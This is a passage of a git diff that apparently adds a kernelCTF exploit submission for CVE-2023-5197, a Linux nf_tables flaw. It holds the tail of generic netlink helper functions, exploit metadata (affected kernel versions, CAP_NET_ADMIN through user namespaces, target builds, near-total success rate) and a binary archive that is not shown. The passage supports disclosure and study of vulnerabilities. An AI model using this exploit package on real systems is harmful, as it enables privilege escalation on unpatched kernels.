+} + +int nla_put_nested(struct nlmsghdr *msg, int attrtype, const struct nlmsghdr *nested) +{ + return nla_put(msg, attrtype, nlmsg_datalen(nested), nlmsg_data(nested)); +} + +struct nlattr *nla_nest_start(struct nlmsghdr *msg, int attrtype) +{ + struct nlattr *start = (struct nlattr *)nlmsg_tail(msg); + + if (nla_put(msg, NLA_F_NESTED | attrtype, 0, NULL) < 0) + return NULL; + + return start; +} + +int nla_nest_end(struct nlmsghdr *msg, struct nlattr *start) +{ + size_t pad, len; + + len = (char *)nlmsg_tail(msg) - (char *)start; + start->nla_len = len; + + pad = NLMSG_ALIGN(msg->nlmsg_len) - msg->nlmsg_len; + if (pad > 0) { + if (!nlmsg_reserve(msg, pad, 0)) + return -1; + } + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/metadata.json new file mode 100644 index 00000000..61bc0226 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/metadata.json @@ -0,0 +1,41 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp99" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f15f29fd4779be8a418b66e9d52979bb6d6c2325", + "cve":"CVE-2023-5197", + "affected_versions":[ + "5.9-rc1 - 6.6-rc2" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits": { + "lts-6.1.47": { + "uses":[ + "userns" + ], + "requires_separate_kaslr_leak":false, + "stability_notes":"9~10 times success per 10 times run" + }, + "cos-105-17412.156.23": { + "uses":[ + "userns" + ], + "requires_separate_kaslr_leak":false, + "stability_notes":"9~10 times success per 10 times run" + } + } + } \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/original.tar.gz new file mode 100644 index 00000000..83dff28b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-5197_lts_cos/original.tar.gz differ